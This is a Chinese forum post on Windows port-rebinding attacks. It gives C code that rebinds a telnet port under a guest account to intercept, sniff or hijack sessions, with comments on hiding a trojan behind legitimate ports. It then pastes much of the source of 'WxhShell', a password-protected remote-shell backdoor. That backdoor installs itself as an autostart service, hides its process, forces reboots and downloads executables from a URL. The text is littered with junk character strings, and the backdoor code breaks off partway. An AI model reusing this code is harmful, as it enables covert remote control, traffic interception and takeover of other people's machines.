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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $rFLhp}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H SEfpbh  
I\J ^@&JE  
  saddr.sin_family = AF_INET; I_xvg >i  
4A(kM}uRB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1+6)0 OH{  
3}{od$3G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !C>}j* 4  
?:F#WDD  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 U6V+jD}L]  
ZaYux-0]kF  
  这意味着什么?意味着可以进行如下的攻击: #M$Gj>E%4  
I_66q7U"0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gB1w,96J  
H(bR@Qok  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ab4(?-'-  
%:rct  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4L}i`)CmB  
1j7^2Y|UT`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sCG[gshq  
5*QNE!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w yi n  
_(=[d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  a~>.  
rMkoE7n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !#P|2>>u  
63R?=u@  
  #include _kR);\V.8  
  #include yxq+<A4,a  
  #include \]pRu"  
  #include     ;ew j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <:=}1t.Z  
  int main() B;f\H,/59  
  { U_!Wg|  
  WORD wVersionRequested; QRb iO  
  DWORD ret; PYWp2V/  
  WSADATA wsaData; X1Vx 6+[  
  BOOL val; gaeMcL_^a  
  SOCKADDR_IN saddr; 8!87p?Mz  
  SOCKADDR_IN scaddr; R_iQLBrd  
  int err; f4F13n_0X  
  SOCKET s; wxw3t@%mNm  
  SOCKET sc; *h59Vaoc  
  int caddsize; {=n-S2%  
  HANDLE mt; 6`(x)Q9  
  DWORD tid;   w6ZyMR,T  
  wVersionRequested = MAKEWORD( 2, 2 ); Y>v(UU  
  err = WSAStartup( wVersionRequested, &wsaData ); &~`Ay4hq  
  if ( err != 0 ) { [|{2&830  
  printf("error!WSAStartup failed!\n"); nk8jXZ"w  
  return -1; w7d(|`  
  } CMk0(sztU_  
  saddr.sin_family = AF_INET; Y"J' 'K  
   {s^vAD<~x3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Bn>"lDf,  
nff X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Kgev*xg  
  saddr.sin_port = htons(23); Fy(-.S1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i U3GUsPy  
  { y U"pU>fV@  
  printf("error!socket failed!\n"); $ {29[hO  
  return -1; |ymw])L  
  } WDznhMo  
  val = TRUE; b[}f]pB@n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1u4)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R%7* )3$&r  
  { c@p4,G  
  printf("error!setsockopt failed!\n"); ,l}mCY  
  return -1; A UCk]  
  } !*Hgl\t6a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ')]K&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NCm>iEeY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tuZA q;X  
}O=QXIF5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) IK#W80y  
  { "`Y.N$M`k  
  ret=GetLastError(); )tc"4lp -  
  printf("error!bind failed!\n"); >(N0''eM]  
  return -1; khS b|mR)  
  } =3KK/[2M  
  listen(s,2); .9r+LA{  
  while(1) /W4F(3oM  
  { &OpGcbf1  
  caddsize = sizeof(scaddr); X}XTEk3[  
  //接受连接请求 6 <&jY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <G d?,}\  
  if(sc!=INVALID_SOCKET) WO=X*O ne  
  { VKzY6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }6Y D5?4  
  if(mt==NULL) !nX}\lw  
  { ci]IH]x  
  printf("Thread Creat Failed!\n"); 6$42 -a%b  
  break; cL/ 6p0S  
  } fb8"hO]s  
  } AawK/tfs  
  CloseHandle(mt);  U~%V;*|4  
  } BK,h$z7#6  
  closesocket(s); i:8g3|JfMe  
  WSACleanup(); gDY+'6m;  
  return 0; p72:oX\Q I  
  }   /`d|W$vN  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1Q$ePo   
  { TQ-V61<5  
  SOCKET ss = (SOCKET)lpParam; \?n4d#=$o  
  SOCKET sc; -Fi{[%&u  
  unsigned char buf[4096]; _FV<[x,nE8  
  SOCKADDR_IN saddr; )`Zj:^bz9  
  long num; Jxyeh1z qB  
  DWORD val; vkFfHzR$  
  DWORD ret; Ww(($e!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <>!Y[Xr^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8&q|*/2  
  saddr.sin_family = AF_INET; 2|J>e(&akY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); F_KPhe$  
  saddr.sin_port = htons(23); j2oHwt6"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3Zy$NsY3  
  { m53XN  
  printf("error!socket failed!\n"); .uu[f2.N+  
  return -1; P F#X8+&J  
  } ,mpvGvAI  
  val = 100; =P* YwLb  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \FVm_)  
  { 1_chO?&,I  
  ret = GetLastError(); `S&(J2KV  
  return -1; #g)$m}tv?  
  } HiTn5XNf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :g1C,M~  
  { %cy]dEL7  
  ret = GetLastError(); =\jp%A1$  
  return -1; ^F5Q(A  
  } +59tX2@Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p([g/Q  
  { `O:ecPD4M  
  printf("error!socket connect failed!\n"); #2N']VP  
  closesocket(sc); 2&L2G'  
  closesocket(ss); ~g&FeMo  
  return -1; -!X,M DO  
  } t:pgw[UJ  
  while(1) os=Pr{  
  { -,;r %7T  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &C_0JyT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?]JTrv"zp  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [^iQE  
  num = recv(ss,buf,4096,0); 6\8 lx|w  
  if(num>0) E=Z;T   
  send(sc,buf,num,0); P!;%DI!<b  
  else if(num==0) SV-M8Im73z  
  break; ROWb:tX}  
  num = recv(sc,buf,4096,0); _RzwE$+9  
  if(num>0) $UgQ1Qc  
  send(ss,buf,num,0); 2(_+PQ6C=  
  else if(num==0) b< ]--\  
  break; @-uV6X8|  
  } )3W`>7>  
  closesocket(ss); XiP xg[;  
  closesocket(sc); D1Yc_  
  return 0 ; y)`f$Hl@1  
  } NGA8JV/U  
O26'|w@$  
]_8bX}_n  
========================================================== u`%Kh_  
{*/&`$0lH|  
下边附上一个代码,,WXhSHELL g;N)K3\2  
(e:@7W)L  
========================================================== 7=$@bHEF#*  
* $  
#include "stdafx.h" v'x)AbbC  
^lF'KW$  
#include <stdio.h> s7x&x;-  
#include <string.h> 8M{-RlR  
#include <windows.h> [2]Ti_ >D  
#include <winsock2.h> IK:F~I  
#include <winsvc.h> u@( z(P  
#include <urlmon.h> s-\.j-Sa  
E?L^ L3s  
#pragma comment (lib, "Ws2_32.lib") ZGstD2 N$  
#pragma comment (lib, "urlmon.lib") .@#GNZe  
'qhi8=*  
#define MAX_USER   100 // 最大客户端连接数 \I! C`@0  
#define BUF_SOCK   200 // sock buffer g{t)I0xm  
#define KEY_BUFF   255 // 输入 buffer '}\#bMeObg  
@O&<_&  
#define REBOOT     0   // 重启 RmR-uQU-c  
#define SHUTDOWN   1   // 关机 )<]*!  
W%3<"'eP  
#define DEF_PORT   5000 // 监听端口 /dT7:x*  
l%$~X0%DM  
#define REG_LEN     16   // 注册表键长度 xq U@87[_  
#define SVC_LEN     80   // NT服务名长度 A Th<=1  
cqP)1V]  
// 从dll定义API D)XV{Wit  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  73:y&U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NU>'$s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); # :^aE|s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (qf%,F,_L  
|.OXe!uU41  
// wxhshell配置信息 [Pn(d[$z  
struct WSCFG { +#|| w9p  
  int ws_port;         // 监听端口 [?dsS$Y3  
  char ws_passstr[REG_LEN]; // 口令 Hr?_`:  
  int ws_autoins;       // 安装标记, 1=yes 0=no /< OoZf+[  
  char ws_regname[REG_LEN]; // 注册表键名 aP#nK  
  char ws_svcname[REG_LEN]; // 服务名 /(iq^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XXx]~m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fyRSg B00$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Yy,i,c`r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PRR]DEz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PWch9p0U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EWI2qaSnO  
my.%zF  
}; ^Po^Co  
\Zpg,KOT  
// default Wxhshell configuration ,*y\b|<j  
struct WSCFG wscfg={DEF_PORT, .(RX;.lw  
    "xuhuanlingzhe", <)D)j[  
    1, *B$$6'hi`  
    "Wxhshell", hI+mx  
    "Wxhshell", !Vtj:2PQL  
            "WxhShell Service", 'Gr}<B$A3  
    "Wrsky Windows CmdShell Service", Q+Sx5JUR~  
    "Please Input Your Password: ", X&s@S5=r]  
  1, dX720/R  
  "http://www.wrsky.com/wxhshell.exe", y4j J&  
  "Wxhshell.exe" RM5$O+"  
    }; IB'gY0*  
|a>W9Ym  
// 消息定义模块 +7`7cOqXg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p!b_tyJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a9+l :c@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <Mt>v2a3Y  
char *msg_ws_ext="\n\rExit."; r5k{mV+  
char *msg_ws_end="\n\rQuit."; EF Z]|Z7  
char *msg_ws_boot="\n\rReboot..."; L0sb[:'luz  
char *msg_ws_poff="\n\rShutdown..."; ,aA%,C.0U  
char *msg_ws_down="\n\rSave to "; &jbZL5  
(IE\}QcK  
char *msg_ws_err="\n\rErr!"; I%8>nMTJ  
char *msg_ws_ok="\n\rOK!"; ;,OZ8g)LH  
w=|"{-ijo  
char ExeFile[MAX_PATH]; aMLtZ7i>  
int nUser = 0; Vr|sRvz  
HANDLE handles[MAX_USER]; li4"|T&  
int OsIsNt; 1@$n )r`  
AW6"1(D  
SERVICE_STATUS       serviceStatus; L}*s_'_e^>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Cyn_UE  
@4ccZ&`  
// 函数声明 B1u.aa$  
int Install(void); x_X%| f  
int Uninstall(void); .%\lYk]  
int DownloadFile(char *sURL, SOCKET wsh); rV5QKz6'  
int Boot(int flag); gwAZ2w  
void HideProc(void); `dGcjLs Iz  
int GetOsVer(void); PQ}owEJ2eM  
int Wxhshell(SOCKET wsl); eG\|E3Cb9  
void TalkWithClient(void *cs); OYbgt4  
int CmdShell(SOCKET sock); h)~i ?bq!/  
int StartFromService(void); H N )@sLPc  
int StartWxhshell(LPSTR lpCmdLine); eHIsTL@Fp  
<kc9KE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +nOa&d\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bb@3%r|_<  
`S&.gPE2  
// 数据结构和表定义 UA%tI2  
SERVICE_TABLE_ENTRY DispatchTable[] = [f8mh88 r  
{ )C1ihm!7\  
{wscfg.ws_svcname, NTServiceMain}, GIs *;ps7w  
{NULL, NULL} gO9\pI 2  
}; K:<0!C!  
:m{;<LRV  
// 自我安装 Bh%Yu*.f  
int Install(void) ah8xiABa  
{ d i;Fj  
  char svExeFile[MAX_PATH]; ~HM,@5dFC  
  HKEY key; MlVVST  
  strcpy(svExeFile,ExeFile); u?a4v\  
P c'0.4  
// 如果是win9x系统,修改注册表设为自启动 Gc1!')g!  
if(!OsIsNt) { MODi:jsl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DO5H(a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dyyGt }}5f  
  RegCloseKey(key); k~|5TO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /Y7Yy jMi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~4}'R_  
  RegCloseKey(key); 8b!-2d:*  
  return 0; f:!b0j  
    } U~nW>WJ+.  
  } 2Jl$/W 3  
} $={^':Uh  
else { *D_pFS^l  
:'+- %xUM  
// 如果是NT以上系统,安装为系统服务 :#pfv)W6t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [ELg:f3}5  
if (schSCManager!=0) NZaMF.  
{ 61*inGRB  
  SC_HANDLE schService = CreateService UbDRE[^P  
  ( 920 o]Dh=t  
  schSCManager, {i!@C(M3  
  wscfg.ws_svcname, %aHQIoxg  
  wscfg.ws_svcdisp, 9NPOdt:@  
  SERVICE_ALL_ACCESS, ^5,B6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Mu>WS)1lS  
  SERVICE_AUTO_START, 2 yY.rs  
  SERVICE_ERROR_NORMAL, 0;6 ^fiSY;  
  svExeFile, N Dg*8i  
  NULL, QV_e6r1t#m  
  NULL, >ow5aOlQ&  
  NULL, K3xs=q]:@  
  NULL, e ab_"W   
  NULL 2(%C  
  ); Ug=)_~  
  if (schService!=0) 6+Bccqn|  
  { \5ZDP3I  
  CloseServiceHandle(schService); Ic,V ,#my  
  CloseServiceHandle(schSCManager); /^jV-Z`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w<54mGMOLr  
  strcat(svExeFile,wscfg.ws_svcname); l^WPv/}?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /P}Wp[)u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "n Zh u k  
  RegCloseKey(key); B]C 9f  
  return 0; 5j S8{d0  
    } |OVD*A  
  } +|OrV'  
  CloseServiceHandle(schSCManager); NR@n%p  
} }o  {6  
} .on}F>3k$  
{rE]y C^  
return 1; + NpH k  
} Oj`I=O6  
F/(z3Kf  
// 自我卸载 O&( @Ka  
int Uninstall(void) sfuA {c'v  
{ ]>%M%B  
  HKEY key; XSDudL  
x 8v2mnk  
if(!OsIsNt) { I"Gr<?r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m@2;9  
  RegDeleteValue(key,wscfg.ws_regname); bFt$u]Yvo  
  RegCloseKey(key); y"o@?bny  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gi9s*v,s  
  RegDeleteValue(key,wscfg.ws_regname); UrhSX!g/A>  
  RegCloseKey(key); pZA0Go2!IN  
  return 0; =u,8(:R]s  
  } hiM nU  
} tPb$ua|  
} nsM :\t+ p  
else { {WYHT6Z  
z:+fiJB_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gWZzOH*  
if (schSCManager!=0) Ce%fz~*b  
{ 4a6WQVS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G&?,L:^t  
  if (schService!=0) NZh\{!  
  { g /v"E+  
  if(DeleteService(schService)!=0) {  $w@0}5Q  
  CloseServiceHandle(schService); m0(]%Kdw  
  CloseServiceHandle(schSCManager); }wkZ\q[  
  return 0; @$bEY#*C  
  } [ {|868  
  CloseServiceHandle(schService); pMy];9SvW  
  } x6BO%1  
  CloseServiceHandle(schSCManager); 1P17]j2C  
} JJ=%\j  
} ^o@N.+`&<  
[$bK%W{f  
return 1; Vw~st1",[  
} wm<`0}  
 q(C <w  
// 从指定url下载文件 {*jo,<4ee  
int DownloadFile(char *sURL, SOCKET wsh) c@xQ2&i  
{ g AZe&"K  
  HRESULT hr; j4fv-{=$  
char seps[]= "/"; Dno'-{-  
char *token; `uN}mC!r]  
char *file; #@cOyxUt  
char myURL[MAX_PATH]; )^^Eh=Kbj  
char myFILE[MAX_PATH]; $afE= qC*  
E/6@>.T?'  
strcpy(myURL,sURL); q]qKU`m!Q`  
  token=strtok(myURL,seps); {|Pg]#Wi&  
  while(token!=NULL) \F }s"#  
  { OlwORtWzZ  
    file=token; |sIr}}  
  token=strtok(NULL,seps); f#mcW L1}  
  } u#c3T'E  
(> {CwtH][  
GetCurrentDirectory(MAX_PATH,myFILE); MkCq$MA  
strcat(myFILE, "\\"); <PayP3E  
strcat(myFILE, file); 2VgDM6h  
  send(wsh,myFILE,strlen(myFILE),0); i7UE9Nyl*  
send(wsh,"...",3,0); >cE@m=[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .e,(}_[[<  
  if(hr==S_OK) A3#^R%2)W  
return 0; bx5f\)  
else @-ms_Z  
return 1; NPFrn[M$  
R;{y]1u  
} 5jb/[i^V  
"iC*Eoz#.  
// 系统电源模块 j18qY4Gw)  
int Boot(int flag) \`!M5FJ  
{ >n^| eAH  
  HANDLE hToken; ;Wws;.~  
  TOKEN_PRIVILEGES tkp; F.%g_Xvk:  
>Wbt_%dKy  
  if(OsIsNt) { l1utk8'-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :4(.S<fH)-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uoIvFcb^  
    tkp.PrivilegeCount = 1; D_W,Jmet  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o_K. +^$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z|h&Zd1z  
if(flag==REBOOT) { =mq02C~y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I\|x0D  
  return 0; iLyJ7zby  
} 6u'+#nm  
else { a+--2+~=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aUBGp: (  
  return 0; f.~-31  
} wj'5D0   
  } tsLi5;KA]  
  else { _^;;vR%   
if(flag==REBOOT) { \U0p?wdr:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V\ 7O)g  
  return 0; ;ZSJ-r  
} 9MmAoLm  
else { *&m{)cTs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /;[Zw8K7  
  return 0; <H,q( :pM  
} n'&Cr0{  
} B}(+\Q$I  
+-VkRr#  
return 1; %]zaX-2dm!  
} %DKQ   
5c W2  
// win9x进程隐藏模块 dC F!.  
void HideProc(void) x P3v65Q1  
{ *A>I)a<:  
w,<nH:~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xux j  
  if ( hKernel != NULL )  bK7j"  
  { _9^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3V,$FS]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C`uZr k/  
    FreeLibrary(hKernel); |@rPd=G^(/  
  } ep<O?7@j-G  
K_fQFuj+  
return; [|XMR=\>  
} ?_!} lg  
;Tn$c70  
// 获取操作系统版本 ~ PO)>;  
int GetOsVer(void) <Ag`pZ<s  
{ N<e=!LV  
  OSVERSIONINFO winfo; Ed(6%kd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y\Z.E ;  
  GetVersionEx(&winfo); rhLm2q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >AbgJ*X.  
  return 1; @Yv.HhO9  
  else 7({"dW  
  return 0; ;{zgp  
} ZW6ZO[`6  
M_5$y )M  
// 客户端句柄模块 #`1@4,iC  
int Wxhshell(SOCKET wsl) }bW"Z2^nB  
{ !c;Z<@  
  SOCKET wsh; #LGAvFA*_F  
  struct sockaddr_in client; fO;#;p.  
  DWORD myID; (zVT{!z  
v*Fr #I0U  
  while(nUser<MAX_USER) l f<?k  
{ &L88e\ c+  
  int nSize=sizeof(client); zNu>25/)(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wVSk.OOB  
  if(wsh==INVALID_SOCKET) return 1; DRo?7 _  
"M)kV5v%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yc#0c[ZQu  
if(handles[nUser]==0) lji&]^1  
  closesocket(wsh); X0h`g)Bbf  
else th$?#4SbR  
  nUser++; }67lL~L  
  } 0 e}N{,&Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EH*Lw c  
d3$*z)12`  
  return 0; <6 LpsM}  
} XIgGE)n  
0Y%u[i/  
// 关闭 socket r34q9NFT5  
void CloseIt(SOCKET wsh) )2Ru} -H  
{ N^)\+*tf1  
closesocket(wsh); d)_fI*:f  
nUser--; m0: IFE($  
ExitThread(0); QoGvjf3z  
} W[+=_B  
|>/T*zk<  
// 客户端请求句柄 *Zj2*e{Z9U  
void TalkWithClient(void *cs) 9`A}-YA !  
{ J=%(f1X<W  
20Umjw.D  
  SOCKET wsh=(SOCKET)cs; [VD)DO5  
  char pwd[SVC_LEN]; -^Pn4y]A)  
  char cmd[KEY_BUFF]; k>2tC<  
char chr[1]; |#y+iXTJ   
int i,j; 2MV!@rx  
jkzC^aG  
  while (nUser < MAX_USER) { l7+[Zn/v *  
nB; yS<  
if(wscfg.ws_passstr) { Wfw6(L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {Q%"{h']  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8lI'[Y?3.  
  //ZeroMemory(pwd,KEY_BUFF); H=_ Wio  
      i=0; BI BBp=+  
  while(i<SVC_LEN) { s.9)? < [  
sQ4~oZZ  
  // 设置超时 )IFzal}o  
  fd_set FdRead; 8P kw'.r  
  struct timeval TimeOut; $KmhG1*s  
  FD_ZERO(&FdRead); #RJFJb/  
  FD_SET(wsh,&FdRead); 4axc05  
  TimeOut.tv_sec=8; ceW,A`J  
  TimeOut.tv_usec=0; 9r5<A!1#L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g RX`61  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f  _ O  
X\ Y:9^5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zqDG#}3f^  
  pwd=chr[0]; "_g3{[es!  
  if(chr[0]==0xd || chr[0]==0xa) { 9d\B*OU  
  pwd=0; U2lDTRt  
  break; Vb _W&Nwd  
  } L.%N   
  i++; ^lt;K{  
    } 8hKyp5(%l  
_o'3v=5T  
  // 如果是非法用户,关闭 socket =b{!p|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W=[.. d  
} /C'dW  
e >OYJd0s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mYE8]4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U{)|z-n  
BEm~o#D  
while(1) { I^CKq?V?:  
K+`$*vS~ws  
  ZeroMemory(cmd,KEY_BUFF); XOdkfmc+s'  
v>4kF _N  
      // 自动支持客户端 telnet标准   ]0 g$3  
  j=0; jkN-(v(T  
  while(j<KEY_BUFF) { +Kw&XRA d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AUan^Om  
  cmd[j]=chr[0]; % T2C0P  
  if(chr[0]==0xa || chr[0]==0xd) { bG'"l qn  
  cmd[j]=0; 5bfd8C  
  break; uB`H9  
  } wva| TZ  
  j++; 5ree3 quh  
    } T!iRg=<bz  
snl$v  
  // 下载文件 voD0 u  
  if(strstr(cmd,"http://")) { >h[ {_+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A#WvN>  
  if(DownloadFile(cmd,wsh)) SEL7,8 Hm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bnm3 cR:h"  
  else lrE|>R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gvoo1 Sa  
  } ;&A%"8o  
  else { kOQq+_Y  
"F$0NYb]I  
    switch(cmd[0]) { WgV'T#*  
  ftw@nQNU  
  // 帮助 #?V7kds]  
  case '?': { `H^?jX>7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -kv'C6gB  
    break; Me.t_)  
  } +1R qo  
  // 安装 =LUDg7P  
  case 'i': { U,Duq^l~s  
    if(Install()) M.[A%_|P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r N.<S[  
    else P XH"%vVF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MV~-']2u  
    break; ^EG@tB $<  
    } 7p!w(N?s  
  // 卸载 I1TzPe  
  case 'r': { =` %iv|>r0  
    if(Uninstall()) ,^>WC G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q3~RK[OCq  
    else {e3XmVAI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]t23qA@^2  
    break; 2&k5X-Y  
    } ~I_v {  
  // 显示 wxhshell 所在路径 _ i-(` 5  
  case 'p': { DM73 Nn^5  
    char svExeFile[MAX_PATH]; Z6`oGFq  
    strcpy(svExeFile,"\n\r"); n*HRGJ  
      strcat(svExeFile,ExeFile); .QaHE`e{  
        send(wsh,svExeFile,strlen(svExeFile),0); gk*Md+  
    break; DH5]Kzb/  
    } jDaWmy<ha  
  // 重启 m V U(b,  
  case 'b': { W8/8V,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $;ssW"7~Qn  
    if(Boot(REBOOT)) ? 7H'#l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v)TFpV6b{p  
    else { EZz`pE  
    closesocket(wsh); }EW@/; kC  
    ExitThread(0); M< T[%)v  
    } rLy <3  
    break; 7n_'2qY  
    } ZgXn8O[a  
  // 关机 T9N&Nh7 3  
  case 'd': { Ao%;!(\I%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `2j \(N,  
